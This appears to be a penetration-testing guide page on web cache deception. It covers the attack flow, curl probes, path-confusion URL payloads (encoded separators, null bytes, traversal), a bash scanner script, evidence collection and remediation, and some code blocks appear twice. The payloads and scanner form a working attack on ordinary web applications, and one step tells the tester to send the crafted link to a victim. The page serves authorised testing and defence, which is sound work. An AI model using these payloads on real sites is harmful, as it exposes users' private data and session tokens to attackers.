Exploitation A01| Broken Access Control
Web Cache Deception
Web cache deception tricks a caching server (CDN, reverse proxy) into storing an authenticated user's private response by appending a static file extension to a dynamic URL. Unlike cache poisoning (which modifies cached responses), cache deception makes the cache store responses it shouldn't cache at all.
Information
Cache Deception vs. Cache Poisoning: Cache poisoning injects malicious content into cache.
Cache deception tricks the cache into storing legitimate private content that attackers can then access.
Warning
Cache deception requires the victim to visit an attacker-controlled URL. The attack is time-sensitive —
cached content expires. Coordinate testing carefully.
How Cache Deception Works
Attack Flow
- 1. Attacker crafts URL:
https://target.com/account/profile/nonexistent.css - 2. Victim (authenticated) clicks the link
- 3. Application ignores the file extension and returns the profile page (with PII, tokens)
- 4. CDN/cache sees the .css extension → caches the response as a static file
- 5. Attacker requests the same URL (unauthenticated) → receives the cached private content
Web Cache Deception Attack Flow
sequenceDiagram
participant Atk as Attacker
participant V as Victim
participant CDN as CDN / Cache
participant App as Application
Atk->>V: 1. Send link: /account/profile/x.css
V->>CDN: 2. GET /account/profile/x.css (with session cookie)
CDN->>CDN: Cache MISS for .css file
CDN->>App: 3. Forward request
App->>App: 4. Ignores /x.css, serves /account/profile
App->>CDN: 5. Response with private data (PII, tokens)
CDN->>CDN: 6. Caches response (.css = static asset)
CDN->>V: 7. Return profile page
Note over CDN: Private data now cached publicly
Atk->>CDN: 8. GET /account/profile/x.css (no auth)
CDN->>CDN: Cache HIT
CDN->>Atk: 9. Victim's private data served to attacker
Cache Poisoning vs Cache Deception
flowchart LR
subgraph CP["Cache Poisoning"]
direction TB
CP1["Attacker sends malicious request"]
CP2["Cache stores attacker's payload"]
CP3["Victims receive poisoned content"]
CP1 --> CP2 --> CP3
end
subgraph CD["Cache Deception"]
direction TB
CD1["Attacker tricks victim into visiting URL"]
CD2["Cache stores victim's private response"]
CD3["Attacker retrieves cached private data"]
CD1 --> CD2 --> CD3
end
style CP fill:#1a1a2e,stroke:#ff6b6b,color:#ff6b6b
style CD fill:#1a1a2e,stroke:#06b6d4,color:#06b6d4
Basic Cache Deception Attack
bash
# Step 1: Find a page with private data
# e.g., /account/profile shows user's email, name, API keys
# Step 2: Append a cacheable extension
https://target.com/account/profile/anything.css
https://target.com/account/profile/x.js
https://target.com/account/profile/logo.png
https://target.com/account/profile/style.woff2
# Step 3: Check if the app still returns the profile page
# (Most frameworks ignore trailing path segments)
curl -v https://target.com/account/profile/test.css
# If the response contains private data → app is vulnerable
# Step 4: Check cache headers
# X-Cache: HIT → response was served from cache
# X-Cache: MISS → first request, being cached now
# Age: 120 → cached for 120 seconds
# Cache-Control: public → cache considers this cacheable
# Step 5: Send the URL to victim, then access it yourself
curl https://target.com/account/profile/test.css
# If you see the VICTIM's profile data → cache deception works# Step 1: Find a page with private data
# e.g., /account/profile shows user's email, name, API keys
# Step 2: Append a cacheable extension
https://target.com/account/profile/anything.css
https://target.com/account/profile/x.js
https://target.com/account/profile/logo.png
https://target.com/account/profile/style.woff2
# Step 3: Check if the app still returns the profile page
# (Most frameworks ignore trailing path segments)
curl -v https://target.com/account/profile/test.css
# If the response contains private data → app is vulnerable
# Step 4: Check cache headers
# X-Cache: HIT → response was served from cache
# X-Cache: MISS → first request, being cached now
# Age: 120 → cached for 120 seconds
# Cache-Control: public → cache considers this cacheable
# Step 5: Send the URL to victim, then access it yourself
curl https://target.com/account/profile/test.css
# If you see the VICTIM's profile data → cache deception worksPath Confusion Techniques
bash
# Path parameter injection:
https://target.com/account/profile;.css
https://target.com/account/profile%2f.css
# Encoded separators:
https://target.com/account/profile%23.css # Fragment as separator
https://target.com/account/profile%3f.css # Query as separator
# Double encoding:
https://target.com/account/profile%252f.css
# Null byte injection (legacy servers):
https://target.com/account/profile%00.css
# Directory traversal in path:
https://target.com/static/../account/profile
# CDN sees /static/ path → caches it
# App normalizes to /account/profile → returns private page
# Multiple extensions:
https://target.com/account/profile.json.css
https://target.com/account/profile/..%2fprofile.css# Path parameter injection:
https://target.com/account/profile;.css
https://target.com/account/profile%2f.css
# Encoded separators:
https://target.com/account/profile%23.css # Fragment as separator
https://target.com/account/profile%3f.css # Query as separator
# Double encoding:
https://target.com/account/profile%252f.css
# Null byte injection (legacy servers):
https://target.com/account/profile%00.css
# Directory traversal in path:
https://target.com/static/../account/profile
# CDN sees /static/ path → caches it
# App normalizes to /account/profile → returns private page
# Multiple extensions:
https://target.com/account/profile.json.css
https://target.com/account/profile/..%2fprofile.cssAutomation Script
bash
#!/bin/bash
# Web Cache Deception scanner
TARGET="https://target.com"
PATH_TO_TEST="/account/profile"
# Extensions commonly cached by CDNs
EXTENSIONS=("css" "js" "png" "jpg" "gif" "ico" "svg" "woff" "woff2" "pdf")
echo "[*] Testing Web Cache Deception on ${TARGET}${PATH_TO_TEST}"
for ext in "${EXTENSIONS[@]}"; do
URL="${TARGET}${PATH_TO_TEST}/test.${ext}"
# First request (simulate victim)
RESP=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}" \
-H "Cookie: session=VICTIM_SESSION" "$URL")
CODE=$(echo $RESP | cut -d'|' -f1)
SIZE=$(echo $RESP | cut -d'|' -f2)
# Second request (simulate attacker, no auth)
RESP2=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}" "$URL")
CODE2=$(echo $RESP2 | cut -d'|' -f1)
SIZE2=$(echo $RESP2 | cut -d'|' -f2)
if [ "$CODE" = "200" ] && [ "$CODE2" = "200" ] && [ "$SIZE2" -gt 100 ]; then
echo "[+] VULNERABLE! Extension .$ext returns $SIZE2 bytes unauthenticated"
echo " URL: $URL"
fi
done#!/bin/bash
# Web Cache Deception scanner
TARGET="https://target.com"
PATH_TO_TEST="/account/profile"
# Extensions commonly cached by CDNs
EXTENSIONS=("css" "js" "png" "jpg" "gif" "ico" "svg" "woff" "woff2" "pdf")
echo "[*] Testing Web Cache Deception on ${TARGET}${PATH_TO_TEST}"
for ext in "${EXTENSIONS[@]}"; do
URL="${TARGET}${PATH_TO_TEST}/test.${ext}"
# First request (simulate victim)
RESP=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}" \
-H "Cookie: session=VICTIM_SESSION" "$URL")
CODE=$(echo $RESP | cut -d'|' -f1)
SIZE=$(echo $RESP | cut -d'|' -f2)
# Second request (simulate attacker, no auth)
RESP2=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}" "$URL")
CODE2=$(echo $RESP2 | cut -d'|' -f1)
SIZE2=$(echo $RESP2 | cut -d'|' -f2)
if [ "$CODE" = "200" ] && [ "$CODE2" = "200" ] && [ "$SIZE2" -gt 100 ]; then
echo "[+] VULNERABLE! Extension .$ext returns $SIZE2 bytes unauthenticated"
echo " URL: $URL"
fi
doneTesting Checklist
- 1. Find URLs returning private/authenticated content
- 2. Append static extensions (.css, .js, .png) and check if the private content still returns
- 3. Check for cache headers (X-Cache, Age, CF-Cache-Status)
- 4. Make an authenticated request, then an unauthenticated request to the same URL
- 5. If unauthenticated request returns private data → cache deception confirmed
- 6. Test path confusion variants if basic extension appending fails
- 7. Test API endpoints that return JSON (cache /api/user/me.css)
Evidence Collection
Step 1 Screenshot: Authenticated request showing private data at the deceptive URL
Step 2 Screenshot: Unauthenticated request to same URL showing cached private data
Cache Headers: X-Cache: HIT showing the content was served from cache
CVSS Range: PII exposure: 6.5–7.5 | Session token in cache: 8.1–9.1
Remediation
- Return 404 for invalid paths: If /account/profile/test.css is not a real resource, return 404 instead of the profile page.
- Set Cache-Control headers: Add
Cache-Control: no-store, privateto all authenticated responses. - Cache key on cookies/auth: Configure CDN to vary cache on authentication state.
- Strict path matching: Configure the application to only respond to exact registered routes.
False Positive Identification
- Cache serving static content: If the cached response only contains public/non-sensitive content, there's no deception even if caching occurs — verify the cached response includes PII, tokens, or session data.
- Vary header handling: CDNs using Vary: Cookie effectively prevent deception — check if the cache key includes authentication-relevant headers.
- Short TTL mitigation: Very short cache TTLs (seconds) significantly reduce exploitability — note TTL in your report but don't dismiss without checking race-condition feasibility.